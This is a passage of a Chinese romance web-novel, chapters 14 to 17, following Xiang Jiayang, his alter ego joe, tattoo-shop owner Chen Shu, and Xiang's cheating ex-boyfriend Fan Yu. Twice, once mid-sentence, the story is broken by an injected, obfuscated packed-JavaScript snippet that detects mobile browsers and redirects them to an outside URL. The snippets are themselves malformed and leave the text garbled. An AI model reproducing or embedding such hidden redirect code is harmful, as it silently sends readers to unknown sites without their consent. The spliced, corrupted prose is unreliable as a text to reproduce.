三十出头的高冷型帅哥要是走在街上,挂着个这样的小玩偶,应该很反差。 向嘉洋无所谓陈述喜不喜欢 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“可以啊。”简凡道,“你目前的kpi是这周之内再赶一条视频出来,还有时间,不着急。” 向嘉洋已经想好要拍什么内容了,vlog就得够日常,剪辑他擅长,具体怎么弄脑子中有个框架。 他想拍陈老板。 不过这得争取到陈老板的同意。 不露脸但出镜的办法多得是,向嘉洋要试探陈述的底线在哪里。 向嘉洋没有问陈述怎么还不回信息,他坐在椅子上揉了揉肚子,跟简凡说:“我好饿。” 简凡一头雾水:“那去吃饭啊,或者我给你点个外卖?点到民宿还是钛谷?” 向嘉洋摇摇头,又揉揉肚子,只道:“好饿。” “赶路一天,什么都没吃就来钛谷了。” “我之前饿坏了会胃痛呢。” “...” 简凡更是满地找头:“那我给你买点药?现在痛了么?你一般胃痛是吃什么药?” 向嘉洋还是那句话:“唉,好饿。” 陈述直接把他从座位上拎起来了,跟拎雷达完全是一回事。 而后掌心在他后脖颈揉两下,轻轻拍了拍他的背,“走,去吃饭。” 说完陈述拿着钥匙径直走去后院开车。 向嘉洋嘴角瞬间一扬。 简凡目瞪口呆看着他们一前一后离开,表示敬佩。五体投地的那种。 车上。 陈述问:“去哪儿?自己定位。” 向嘉洋在导航里点点点,“陈老板,你海鲜过敏吗?我们去吃日料行吗?” “不过敏。去吧。” “说好了我请客哦。”向嘉洋很自觉地坐在副驾驶座,一路上边哼歌边哼唧,“我多方打听得知了情报,这家店绝对是岛上的日料第一名,超级好吃。有的人还不愿意跟我去呢,民以食为天,唯有美食不可辜负。” 他语气说不上来是埋怨还是打趣,我见犹怜。 “不高兴了?”陈述问。 向嘉洋别开脸,冷傲地哼了声。 陈述:“你说的这人很不知好歹了。我陪你去行不行?” 向嘉洋心跳一快,还没来得及在内心尖叫,joe先叫为敬。 joe:“你怎么坐在陈述的车上了!!!” “你醒啦?”向嘉洋忽然道。 陈述侧头看了他一眼,眼神有些意外。 向嘉洋不怕陈老板的视线,他有的是办法自圆其说:“现在是2008年,恭喜你回到了千禧年的傍晚。这里有挂着风铃的旋转木马,小吃街弥漫炸丸子的鲜香,广场上很多人放着风筝,与爸爸妈妈一起拍照。而向嘉洋同学准备去吃三文鱼刺身和金枪鱼饭团,跟一个不知好歹的人一起。” 陈述笑了:“说什么?” “一个梗。你可以去搜搜,回忆童年的。” 陈述没有发表异议:“好。不知好歹的人记下了。” joe气得七窍生烟:“什么2008,我特么要把你们两个一起发射到天上去炸成烟花!” ———— —— 15. 赔钱货炸弹 * 向嘉洋说饿也并非胡诌。 他是真的饿了,坐渡轮回来的路上并没有吃东西填肚子,只喝了几口水。 日料店是网红餐厅,一进门好多人,他们运气好,在角落找到了一个位置,只是有些拥挤。 菜还没上,向嘉洋的腿已经碰到了三次陈述的膝盖。 布料摩擦声从桌底下传来。 向嘉洋能感觉到陈述裤子下结实的肌肉。他不是故意的,怪不好意思,于是往里缩了缩。 陈述突然伸手往下探,把向嘉洋的腿给掰回来。 “好好坐着,我给你让。”陈述看着他。 深邃立体的五官在光下更加硬朗,举手投足间是强大而令人安心的气场。 他这么一掰,向嘉洋脸上热度就微微泛起。 陈老板手劲儿怪大的。 joe:“...你太色了向嘉洋,我是未成年!!” 向嘉洋根本没理joe。 他们点的菜十分钟后依次摆上来,向嘉洋问过陈述要什么,陈述摇着头把菜单给他,叫向嘉洋点喜欢的。 对陈述这种活了三十多年的人来说,口腹之欲已经没那么重要。 鲜香麻辣年轻时也造过,现在比较平淡。 但向嘉洋不一样。 由于资助人每一封回信都会特地交代他,好好吃饭,太瘦不健康云云,向嘉洋成功地被资助人培养成了一位美食家。 看向嘉洋吃饭是一种享受。 他吃得太香了,嚼嚼嚼,像小仓鼠。 陈述吃着吃着就停了动作,饶有兴味地观察面前的向嘉洋。 他觉得向嘉洋如果用这张脸去开吃播,一定能火。看了会儿后,连陈述都想多尝几口桌上的日料。 joe:“喂,老东西在看你。” 向嘉洋模模糊糊地嗯了声,表示他知道。 joe:“你这种时候又不抬头和人家叽叽喳喳,亲密交流了?!” 向嘉洋在备忘录打字:乔儿,陈老板的脸什么时候都可以看,可是现在我要吃饭! joe:“...” 对joe而言,向嘉洋不可以喜欢陈述。 但是如果向嘉洋对陈述发出了什么邀请,而陈述居然敢拒绝,那也是万万不可的。 那是死罪。 全世界都应该喜欢向嘉洋。 不喜欢向嘉洋的人joe做鬼都不会放过他们。 joe态度没刚才那么尖锐了,他也在暗暗观察陈述。 虽然嘴上joe一直都是唇枪舌战的,但是。 如果真要对比,先前那些什么给向嘉洋电瓶车上小卡片的,装x说自己有很多女人追的,那群男人的确比不上陈述。 至少陈述对向嘉洋是尊重与平和的。 高级装货目前可以砍掉装货,剩一个高级。 高级也不行,太高级joe怕向嘉洋吃亏。 joe在脑子里一直说个不停,给向嘉洋全方位三百六十度无死角地分析了一下为什么他和陈述最好别在一起,比如陈述父母肯定不会同意,比如陈述上了三十岁性功能大有可能衰退,比如陈述那么有钱跟向嘉洋不是一个世界的。 向嘉洋都听了,嘴上吃东西却没停过。 陈述手忽然伸过来,拿着水杯。 “我会和你抢么?慢点。”陈述看着他,“喝点水。” “谢谢陈老板。”向嘉洋朝他灿烂一笑,嘴角还残留一点肉汁。 陈述又给他递了纸,温声,“擦擦嘴角。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177245|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向嘉洋胃口这么好,陈述很有成就感。 这种成就感别人不懂,他自己放在心里珍藏就好。 早知道就多带向嘉洋出来吃饭了。 半小时后,桌上一扫而空。 向嘉洋靠在椅子上,心满意足。 “我饱了!”他和陈述宣布。 “恭喜。”陈述笑,“我结账。” “不要。说好了我请。”向嘉洋拦住他,甚至直接抬手压住了陈述的手腕。 陈述视线落在他们触碰的皮肤上,漆黑眼眸里敛过某些情愫。 “好。”陈述收回手,“听你的。” 他很少有拒绝向嘉洋,或是摆架子严厉的时候。除了向嘉洋受伤。 本次邀请陈老板约会圆满结束。已取得阶段性胜利。 向嘉洋自己在心里谢幕。 他快乐地跟在陈述身后,上了车,又让陈老板送他回家。 熟悉的南汐巷映入眼帘,前面一百米左右就是民宿,路口站着个人影。 车灯还没照到那时,他们看不清人脸,直到距离拉近。 樊煜站在那,手边是两个行李箱。 看上去打算长住。 他认出这是陈述的车,举起手拦车。 然而车还没停下,樊煜看清了副驾驶座上的人。 他心脏咯噔一下,当即僵死在原地,彻底愣住。 原本樊煜回国并没有告诉陈述和向嘉洋。 他想给他表哥和男朋友一个惊喜。 结果他表哥和男朋友给了他一个惊喜。 惊天大喜。 樊煜脸色精彩纷呈,一会儿青一会儿白,不清楚状况,但已经隐隐冒火。 ———— —— 16. 三人行必有我述 * 保时捷缓缓停靠,车灯照着行李箱。 树上蝉鸣在叫,聒噪,惹得樊煜更加心烦意乱。 他怎么也没想到会出现这种场景。 陈述才刚停稳车,向嘉洋就推门而下,他意外地看着向嘉洋的背影,急冲冲,很像是要和人打架。 樊煜也不是第一次来风铃岛,不需要陈述招待,所以见到他后陈述没什么特别的反应,只是熄了火,慢向嘉洋一步推开车门,下车。 路边两人在对话。 樊煜看着向嘉洋,先是一笑:“宝贝儿,我回来了。” “我好想你。”他还是这句话。 樊煜风尘仆仆。他下巴上还有一圈青色的胡茬,西装因为长途跋涉而有些皱。向嘉洋刚刚认识樊煜时他是个花花公子,爱美男,喜欢各种颜色的衬衫,永远不系上最顶部的两个扣子,经常和狐朋狗友光顾酒吧,混迹各色池林。 不可否认,樊煜相貌出色,有一夜春宵公关应召的本钱。 他们第一次见面那天在首都市中心一家会所,樊煜坐在二楼vip卡座,身边坐着某国际品牌亚太区总代的儿子,坐着广播电视总局局长的外甥,还坐着某三线女星,以及一个男名模。 显而易见,两位新贵都有伴,一个好男色一个好女色,还是单男的樊煜坐在他们对面总有些格格不入,于是酒过三巡,他下楼,狩猎般的目光扫视一圈会厅,寻找目标,结果立刻被角落里的向嘉洋吸引。 上流圈层喜好攀比,出来应酬不能掉面,身边带人也是展示权势和资本的一种手段,而带谁,有讲究。要么足够好看,要么自带人脉,要么聪明能来事儿。 樊煜不指望能现场找个会来事儿的了,他就想找个好看的。 一眼挑中向嘉洋。 “嗨。”樊煜走过去打招呼。 向嘉洋是陪一个做自媒体的朋友来的,本意只是逛逛取材,没想到真有人和他们搭讪。 “你好。”向嘉洋和樊煜点点头。 周围灯光暧昧而五彩斑斓,吧台调酒师有意给他们独处空间,樊煜凑到向嘉洋耳边说话,和周遭的音乐混在一起,吐息灼热。 “想请你喝一杯,上去坐坐吗?”樊煜哑声道,手指往上指了指。 这家会所二楼需要刷脸才能进,是专门为有头有脸的人物准备的。 向嘉洋有些意外。他抬头看了看,二楼灯光明亮,壁灯高悬,几十万一把的沙发上隐约可见男男女女,姿态亲密,抱坐在一起。 他笑:“只是喝一杯?” “这儿是正规会所。”向嘉洋笑起来太好看了,樊煜头一回跟人说话会紧张,立刻表明立场,“我不是那种乱搞的人。” “这是我的名片。”樊煜递上烫金小卡。 向嘉洋只扫了一眼,没收名片。他先谢过樊煜,又摆手拒绝,说自己不太会喝酒,请樊煜自便。 说完向嘉洋起身去洗手间。 樊煜看着他背影。 身上是最普通的灰色卫衣,前面设计了美式复古的刺绣字母,搭一条宽松的长裤,脚上一双干净的运动鞋。目测全身上下不会超过三百块,但向嘉洋像天生的衣服架子,硬生生把这身便宜货穿出高定的风格。 樊煜觉得他就是裹了抹布在身上都会别有一番韵味。 鬼使神差地,樊煜追过去了,一路追到洗手间里,把人直接堵在水池边。 “怎么?”向嘉洋脸色冷下来,“软的不行你要来硬的?” “不是。”樊煜心想软的不行我得来点更软的,“我就想请你帮个忙。我在楼上和人谈事,但他们看不起我家道中落有求于人,非要灌我酒,还要给我点男公关,和他们一起堕落。” “我说我下楼接一下男朋友,才有机会喘口气。” “你不用做什么,就跟我上去露个脸,然后假装发发火,宣誓一下主权,他们大概就不会硬要给我床上塞人了。行吗?”樊煜眼眶发红,三分假泪演出十分真情,“我会报答你的,你要什么都行。” 向嘉洋脸色没刚才那么冷了,他扯了两张纸递给樊煜。 等樊煜擦完,向嘉洋拉开洗手间门出去。 察觉到后面人没跟上来,向嘉洋顿住脚步,回头,冲樊煜扬眉,“走啊,你还傻站着干什么?” “啊?”樊煜愣道。 “我帮你这个忙。”向嘉洋说,“简直欺人太甚。我要让他们见识见识什么叫撒泼。” 樊煜领着向嘉洋上二楼。 入座后,樊煜介绍:“这是向嘉洋。我男朋友。” 向嘉洋冲对面的人笑了笑。 在座各位哪个不是人精,一秒看破樊煜的把戏,碍于小樊总跟陈家的关系,都没拆穿,只是用酒杯挡着嘴唇偷笑。 难得见樊煜对某个人这么有兴趣,他们都很给面子地陪坐。 局长外甥好赌,又叫了个人过来凑数,开始打牌。 向嘉洋侧身,用只有他们两人能听到的声音问樊煜:“你想要谁赢?” “什么?”樊煜顿了下,而后听笑了,他玩味地看着向嘉洋,“我想让谁赢你就能让谁赢么?你还有这本事?” “小樊总不要以貌取人。”向嘉洋学他们这么称呼樊煜,勾唇含笑,“你怎么知道我不行?万一我跟荷官学过千术呢?” 语气听上去半真半假,但樊煜根本不在意真假。 他心跳得很快。 局长外甥要玩的当然不可能是飞行棋,是梭-哈,真金白银赌钱的那种。 桌上摆着筹码,向嘉洋问小樊总还剩多少家底。 “他们一般赌很大,那边那个男模常年混迹风月场,熟手。”樊煜压低声音介绍,略带担心地看着向嘉洋,“真的没问题么?” “放心吧小樊总,您一句想赢,我就不可能输。说好了我上来就是撒泼的。”向嘉洋微微一笑。 灯光下这笑容配上向嘉洋刚才说的话,简直如同迷魂汤,醉得樊煜七荤八素,飘飘欲仙。 “没事,输了算我的,你玩得开心就好。”樊煜说。 向嘉洋不置可否,五十二张牌在他手上不间断地搓洗,依次发给在场三位切牌。局长外甥没有亲自参与,帮他切牌的是男模。 男模冲向嘉洋笑笑,眼底是志在必得。 拿到底牌后众人依次低头查看,向嘉洋记牌一流,只扫了眼就没再拿起过。 男模加码到一百万时,向嘉洋意识到这不是普通的局,对面坐着的身份估计一个比一个尊贵,随便一把就是百万上下。 好在樊煜提前和他通过气,向嘉洋不慌不乱,手稳稳地拿着牌,没有被天文数字吓住。 公共牌陆续发下,男模喜上眉梢,道:“我跟。” 他藏牌了。向嘉洋想。 男模应该是故意切了需要的牌,凑顺子。 虽然很隐蔽,但并非没有破绽。 果然,男模已经开始转头和旁边的金主邀功,笑容就好像桌上筹码都是他囊中之物。 “我们all in。”向嘉洋一笑。 什么?! 别说是男模,连旁边的女星和总代儿子都露出震惊的表情。 局长外甥赌名在外,常年带着男模,所以人尽皆知,男模擅长赌牌。 只要他出手就不可能输。 有聚会或饭局,一旦局长家这个二世祖提出要玩牌,身边又带着这位男模,大家都会胆战心惊,因为必输。 但又不敢拒绝,只能哐哐砸钱,哄二世祖高兴。 反正局长的人情才是真正值钱的东西。 现在,小樊总露水情缘的这位帅哥,竟然说要all in?! 局长虽然惹不起,可是让他们赢小樊总牌,还赢这么多,那也是万万不行的... 一时间,女星犹豫着要张嘴叫停,好言相劝。 樊煜却大手一挥:“听他的。” 向嘉洋不咸不淡地跟牌。 他之所以这么淡定自若,是因为有底气。 但这个场子还是超出他的认知范围了,故而向嘉洋也在腹诽,自己运气怎么这么背,早知道今天不来会所了,就不至于淌这趟浑水。 在众人看热闹的视线里,向嘉洋合拢四张公共牌,最后丢出一张方块J。 整张桌面都传出惊呼! 方块七、八、九、十、J..... 同花顺! 这是扑克中位列第二大的牌型,罕见,难求。 一场赌局螳螂捕蝉黄雀在后,男模手上的牌全掉落在地,脸上笑容瞬间失色,仿佛变成了雕塑僵死在原地。局长外甥脸色发臭,但又不得不为樊煜鼓掌,阴阳怪气:“厉害,厉害,小樊总这是捡到宝了,三生有幸啊。” 向嘉洋把筹码全部收走后,又全部给了樊煜。 筹码落桌是叮当响声,落在樊煜心里,则是爱情发芽的动静。 见向嘉洋起身下楼,樊煜又一路追着人到路口。 “小樊总,萍水相逢算我们有缘分。”向嘉洋看着他,先开口道,“虽然不知道你口中的家道中落究竟中落到什么地步,但今晚少说也赢了百万,你拿着这些钱是东山再起也好,是找个地方买房子安居乐业也好,总之远离他们吧,不要再和那些富二代厮混了。” “等等。”看向嘉洋要走,樊煜叫住他。 “还有事吗?”向嘉洋站住。 “我...”樊煜说。 等了半天,樊煜还在“我”,向嘉洋笑:“小樊总?我赶时间。” 其实这点钱对樊煜来说就是剔个牙。对牌桌上那些人而言也不算什么,图个乐打发打发时间而已。但此时此刻,樊煜二十来年浪荡的心一下停驻了,他觉得向嘉洋和别人不一样。 不是给钱就能召之即来挥之即去的,也不是随随便便就能调戏和揩油的。 “对不起,我骗你的。”樊煜说,“我没有家道中落,也没有被他们瞧不起。我就是看你长得好看,想让你陪我喝酒。” 向嘉洋挑了挑眉。 樊煜继续:“骗了你是我不对,你要我给你磕头道歉都可以,就是...在那之前能不能先加下你微信?” “...”向嘉洋看着他,“小樊总,你不是开玩笑的吧?” “我没开玩笑。”樊煜站在人来人往的会所门口大声道,“向嘉洋,我好像喜欢上你了,我要追你!” 向嘉洋被吓了一跳。 他是个颜控。樊煜颜值过关,最后向嘉洋其实是给了微信的。 于是接下来一连三个月,樊煜都雷打不动地给他发信息,有时候是约他吃饭,有时候是约他去看电影,向嘉洋一开始都拒绝了,奈何樊煜追人就四个字,死缠烂打。 而俗话说了,烈女怕缠郎。 不止烈女,向嘉洋也怕缠郎。 樊煜这么缠着缠着,向嘉洋就点了头。 和向嘉洋在一起前后,樊煜再没去过乌烟瘴气的地方混吃玩乐。 这本来应该是一段很好的感情。 直到向嘉洋出国读研。 他们在一起时约法三章,由于joe很抵触,所以他们不能做太亲密的举动。 只能牵牵手,抱一抱。 大概是肉都到嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177246|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边了一直吃不到,等向嘉洋出国,他们异地后,樊煜就犯了浑。 因为这曾经是一段很好的感情,所以向嘉洋还是决定和樊煜聊一聊。能和平分手就和平分手,别闹得太难看,那不体面。 此刻他看着樊煜拎着两个行李箱,叹气:“你今晚住哪?酒店定了吗?” 言外之意,向嘉洋不接待他。樊煜不能住向嘉洋这。 樊煜却走近一步,身高上长出半截,显得有些压迫感。他猩红眼睛,问:“你先告诉我,为什么你会从陈述的车上下来?” 陈述? 向嘉洋问:“你认识陈老板?” “我何止是认识?!” “他是我表哥!” 向嘉洋一愣。 ...什么? 陈述是樊煜表哥?! 他的确听说过樊煜家里有点背景,跟香港的某个富豪沾亲带故,富豪家还有个军区师长,老头子更是战功赫赫。 但樊煜很少对向嘉洋提起家里的事,也从没有把向嘉洋介绍给家里人过,他们就心照不宣地没有深聊这些,向嘉洋对樊煜家里亲戚关系只有很模糊的了解。 “我不知道他是你哥。”向嘉洋道,“我在钛谷店应聘了运营岗位,现在已经入职了。” 樊煜根本听不进去。他满脑子只有向嘉洋坐了别的男人的车。 还跟别的男人一起回家。 什么意思?他表哥为什么送向嘉洋回民宿? 巧合?顺路? “宝贝儿,你——”樊煜火急火燎地要质问。 “喊谁?”冰冷的声音打断。 陈述绕过车头走过来,横插在两人中间,一只手护在向嘉洋身前,挡住了樊煜视线。 樊煜肉眼可见地哆嗦了下。 首先,陈述比樊煜高。其次,陈述辈分也比樊煜高。再者,樊煜总是有求于陈述,故而在陈述面前,樊煜天然带着弱势气场。 最后,樊煜初中叛逆期混不吝,剪破了女同学衣服,被陈述吊起来揍过。 他对陈述带着生理和心理上的双重尊敬,乃至畏惧。 陈述侧头,问向嘉洋:“他和你什么关系?” 向嘉洋反应迅速,连忙解释:“前男友。” 陈述眯起眼。 他又看向樊煜。 “你不是说,你男朋友来了风铃岛么?” 樊煜天塌了。 有陈述站在那,樊煜根本不敢靠近向嘉洋。他牙颤,道:“就是男朋友,哥,向嘉洋和我闹别扭呢,我没同意分手。我们就是吵架了,哪对情侣能不吵架啊?都是小事,我们不会分开的,我喜欢他,他也喜欢我。” “喂,樊煜,你胡说什么呢?”向嘉洋不赞同。 “出轨在你眼里是小事?”陈述看着他。 这句话的语气非常严肃。 周围的气压骤然低下来。 仿佛能结冰。 明眼人都看得出来,陈述压着火。 “出...”樊煜瞪大眼睛,“向嘉洋,你都跟我哥说了什么?!你们什么时候关系这么熟了?” 陈述也听不进去樊煜说什么了。 他现在相当不爽。 这些年他爹给樊家投资了多少钱,赔了也没关系,大笔大笔地烧。 而樊家就樊煜这么一个儿子,要多宠有多宠,早就把樊煜惯坏了,初中翘课抽烟,打架斗殴,网吧通宵,高中挥霍无度借贷氪金,深夜飙车不慎撞墙,ICU躺了两月,休学一年,后学人炒股小试牛刀,亏了几十万,一时兴起又想出国留学,折腾来折腾去,二十来岁终于有点人样了,说是正儿八经谈了个恋爱,老樊家以为终于可以望子成龙,结果樊煜出柜,老樊家不同意断子绝孙,逼他相亲。 樊煜瞒着向嘉洋去相过很多次亲。 陈述不确定向嘉洋知不知道这事,但现在得知原来向嘉洋就是樊煜口中的男友,陈述确定自己快要被气死了。 樊煜在陈述眼里就是混世魔王,以及赔钱货和炸药包。 他的便宜表弟放世家子弟的相亲市场只够倒贴。 他的便宜表弟根本就配、不、上向嘉洋。 就像蟑螂配不上雷达。 樊煜和向嘉洋之间甚至能有物种壁垒。 陈述的人生中少有情绪如此波动的时刻。 他仿佛一口高压锅,滋滋冒着滚烫的水蒸气。 “陈老板。”向嘉洋清脆如铃铛的声音扯回陈述的思绪,“我和樊煜聊一聊,没事。” “哥,这是我和向嘉洋之间的问题。”樊煜抓紧机会,“我会处理好的,你放心。” 陈述和樊煜左右站着,向嘉洋看看陈述脸色,觉得陈老板脸阴沉得吓人,风雨欲来,再看看樊煜,满脸都是期待,仿佛下一秒就能冲上来抱住自己说要和好,说咱们不闹了好不好宝贝儿。 向嘉洋才刚转身要和樊煜说什么,陈述低冷的嗓音就从脑后传来: “向嘉洋。” “...”向嘉洋一激灵,头皮发麻地回头。 陈述没有给向嘉洋哪怕朝樊煜走一步的机会,直接过来握住了向嘉洋手腕,把他拉到自己身边。 而后陈述看向樊煜,说:“它现在已经不是你和向嘉洋两个人之间的问题了,是我们三个人之间的问题。” 樊煜懵圈:“为什么?” “你不用管为什么。”陈述在某些事情上态度专制而霸道,不容置喙。他一字一句,“我不可能再让你缠着向嘉洋。” “你不心疼他,有的是人心疼。” ———— —— 17. 变色龙 * 樊煜在风铃岛有房产,因为陈平雷在这养老。樊家有意讨好,偶尔还会全家出动,来风铃岛看望老爷子。 今晚樊煜来这么一出完全是为了卖惨。 他的航班信息其实早已经同步给特助和管家,刚下飞机管家就要开车来接他去别墅,樊煜给推了,自己拎着两个大箱子打车到向嘉洋民宿,还故意往脸蛋上抹了点灰,故意不剃胡子,故意穿了三天西装没换。 动机不纯,目的明确。 这会儿他站路边,像个短路的电灯泡,愣愣看着他表哥。 尽管心里还是害怕,可樊煜隐约觉得不对。 陈述什么性格他清楚,不爱多管闲事,也最讨厌管他的闲事。可是怎么牵扯到向嘉洋就变了? 就因为向嘉洋现在是钛谷的员工? ...话说向嘉洋为什么会成为钛谷员工? 他大学读的不是新传专业,过往几段实习经历更是跟运营毫不相干。 樊煜脸色发白,嘴唇动了动,想说什么,又憋了回去,重复几次,向嘉洋终于开口: “樊煜。” “到。”樊煜立刻看向他。 一般来说,向嘉洋喊他全名准没好事。但至少向嘉洋现在愿意理他,比微信上的红色感叹号有温度多了。 樊煜心想,果然有些问题还是要当面谈才有效。 “你先回去。”向嘉洋说,“收拾好东西我们再谈别的。今天你很累我也很累,不要彼此浪费时间。” 向嘉洋从来没有对他这么冷漠过。樊煜心脏一阵一阵抽痛,但他也不想在陈述面前才出糗,于是总算点头应下。 “宝贝儿,明天你几点上班?我来接你好不好?” “你把我从黑名单里拉出来。” 向嘉洋让他有事直接打民宿房间的座机电话。 “....”樊煜一步三回头,又灰头土脸地拦了辆的士,把行李箱塞进去,恋恋不舍地上车。 如果不是樊煜有错在先而心虚气短,这会儿他肯定要发火。金枝玉叶的小樊总哪里想过自己会有这么一天,坐十几个小时的国际航班连夜中转,到风铃岛就这么个待遇。 的士载着樊煜离开,向嘉洋藏在袖子下的手指蜷了蜷,这才回头看陈述。 “陈老板,我不知道樊煜原来是你的表弟。”向嘉洋如实相告。 陈述问他:“你要是知道会怎么?” 这话倒是把向嘉洋问住了。 要是一早知道,他难道会因为樊煜夹在中间,而刻意和陈述保持距离? 不。 他不会。 陈述是陈述,樊煜是樊煜。 向嘉洋喜欢陈述身上那股劲儿,洒脱,得体,成熟。和樊煜没有半毛钱关系。 而向嘉洋是向嘉洋。 他如果胆小,当初不会一把梭-哈打了个同花顺,帮小樊总从新贵手上赢筹码,他如果自卑,不可能在上段恋情中获得任何主导权。 既然都没有,他选择继续喜欢陈老板,继续追陈老板。 和以前没区别。 向嘉洋只花了几秒的时间想通,他冲陈述扬起一个格外好看而灿烂的笑:“我不怎么,最多是有些意外,但我还是会应聘,还是会想留在钛谷,还是会邀请你出去吃饭的!” 他的笑容感染力总是很强,陈述露出了见到樊煜后最松懈的表情。 “早点休息。”陈述靠在车边,看着他道,“有事联系我。” 向嘉洋和陈述挥手。他刚迈进门槛,陈述又喊住他:“向嘉洋。” 向嘉洋下意识回头。 陈述还是那么看着他,单手插在兜里,另一只手手指上勾着钥匙圈,腿边抵着向嘉洋送的挂件。 过了片刻,陈述才开口。 “我跟樊煜两家是表亲关系,但也仅此而已。所以你不要把对他的看法,转移到我身上。” “我们老陈家祖上几代都没有过樊煜这种特例。” “如果因为一个过去式的人,影响我们现在的相处模式,不值得。” 见向嘉洋半晌没说话,陈述以为自己又过于古板严肃,他顿了顿,补充: “其实我的意思是,你别因为樊煜躲着我。” “别冷落我。” 向嘉洋这回有反应了,他就差跨出门槛冲回去,往陈述脸上猛亲一口。 不过他还是收住了。 “陈老板,你怕我躲着你啊?”向嘉洋问他,笑容一下变得狡黠蔫坏。 陈述扬眉,坦然:“怕。” “为什么怕?”向嘉洋追问。 这一次陈述没有回答,他失笑地摇摇头,“进去吧,外面热。” 向嘉洋是小跑着进院的,确定自己消失在陈述视野里了,向嘉洋一蹦三尺高,撒欢地上楼,噔噔噔抵达房间,推门进去后在床上来回滚了三次。 他在小日记本上写了两个字,再用有颜色的画笔将这两个字圈了起来,当重点标记。 ——“心疼”。 陈述今天对他用了这个词。 向嘉洋叼着笔帽,坐在窗边画架前调颜料盘,“乔儿,原来没有妈妈了,也会有人心疼我们。” joe好像翻了个身,还打了个哈欠,难得地收起了攻击性。 他懒洋洋地问:你为什么不让我出来直接揍樊煜? 晚上他有两次试图夺取身体控制权,向嘉洋硬生生把他摁了回去,joe就没再折腾。 有的时候他们切换困难,有的时候奇迹般顺利。 向嘉洋想了想,说:“算了吧,打架不好,我们不能用暴力解决问题。而且每次你打完架就晕了,最后总是我醒来。受伤的都是我。” joe:随便你。 joe:快点和姓樊的说清楚,让他有多远滚多远。 joe:实在不行你就告诉他,是我讨厌他,一见到他就想吐! 向嘉洋表示收到。 次日上午,八点多,向嘉洋收拾好东西要去钛谷店。他找民宿附近的摄影师借了台相机,打算这两天把宣店的vlog拍出来,剪辑好。 一出门,向嘉洋就看见一辆张扬的超跑停在门口。 单排双座,驾驶位的人戴着墨镜,单手撑在方向盘上,一见向嘉洋出来就连忙下车,帮他开门。 “我猜你会在这个点出门,所以早就到这等你了。要去我哥的纹身店是不是?我送你。”樊煜分外殷勤。 向嘉洋看着超跑座位。 上车之前,他跟樊煜说了这样一句话。 “我只给你一天时间。” “够了。”樊煜喜出望外,“今天你想吃什么,想去哪玩都我来安排,你什么都不用操心。” 向嘉洋逼着自己接受。他忍了忍,点头上车。 樊煜先给他送到钛谷门口,简凡来接,但是拦了樊煜一下,语气很强硬:“不好意思啊小樊总,我们店今天很忙,你有事就先走吧。” 樊煜没有硬要进去的意思。 他坐不住,别说是陈述给人纹大图一纹就是十几个小时,半小时樊煜都坐不住。他更喜欢去喝花酒,而不是看人画画。 见简凡这么说,樊煜刚好找到理由溜之大吉。 “宝贝儿。” 樊煜伸手想摸向嘉洋脑袋,向嘉洋却躲开了。 他尴尬一瞬,悻悻收回手,道,“那你忙,中午我来接你去吃饭。” 等樊煜开着他的跑车离开,简凡立马回头去纹身室找姚小川。 “卧槽,什么情况?” “什么什么情况?”姚小川拿着纹身枪,头都没回。 简凡怪叫:“樊煜来了,还叫我们洋宝贝儿,叫得这么亲密这么恶心,什么意思?!他看上我们洋了??” 姚小川猛一回头,震惊:“那老大不是完了吗?” “何出此言?”简凡问。 “小樊总情场高手啊,会撩会哄,甜言蜜语张口就来。我们老大有什么,一张嘴拿去糊墙恐怕地震来了都不会倒。” “......”简凡如临大敌,“你说得对,川。述哥恐怕要败了。” 看简凡匆匆忙忙要追出去,姚小川拉住他。 “你别急,静观其变,洋喜欢的是我们老大,小樊总肯定不是他菜!” 话是这么说,钛谷学徒们一听说樊煜开车接送向嘉洋,暗地紧急召开了一次主题名为拯救老大的会议,多对一帮助恋爱苦难户陈述。 向嘉洋并不清楚这帮人的小动作,中午他准点在门口看见樊煜的车。 “我们去哪?”向嘉洋问。 “我定了空中花园餐厅的座位,保证你喜欢。”樊煜笑。 向嘉洋叹口气。 保守估计,今天一天要见樊煜六次。 抵达餐厅,前面排着队伍长龙,取号已经到了两百桌开外,要等一小时。向嘉洋刚想接到队伍后面,就被经理笑脸相迎:“向先生对吗?里面请。” 向嘉洋一愣,被经理送进去时,他听见旁边有人窃窃私语。 “他们两个为什么不用排队?” 很快有服务生来接待他们,将他们带到指定座位,桌上摆了蜡烛和鲜花,还有小蛋糕,漂亮精致,价格不菲。 “你又使用特权。”向嘉洋面无表情道。 毕竟谈过一年多,向嘉洋太清楚樊煜性格。 “怕你等,不用排队不是很好吗?”樊煜笑起来,全然不在意。 向嘉洋本意并不想做什么特殊分子。他可以不用来这么高档的餐厅,也可以不用吃这么贵的食物,然而樊煜不会懂他究竟想要什么。 一顿饭吃得索然无味,向嘉洋机械地进食,樊煜吃饭话很多,从天南聊到海北,聊他出差时又买了个新的收藏,从意大利一个富商的手里,据说还是传家古董。 又聊项目方老总点了十几个陪酒女,半夜两点被正妻捉奸。 再聊他听说的娱乐圈潜规则。 向嘉洋全程只是发出单字音节,“嗯”着敷衍。 吃完饭,他问:“晚上什么安排,又要去哪里吃饭,提前告诉我。” 樊煜顿了顿,放下刀叉,“我看了一下你住的民宿,环境不好,价格也便宜,可是便宜能有多好?你跟着我没必要委屈自己,要不民宿你就别住了好吗?那种地方到处都是旅客,很危险,你不知道谁好谁坏,不要低估了人心。” 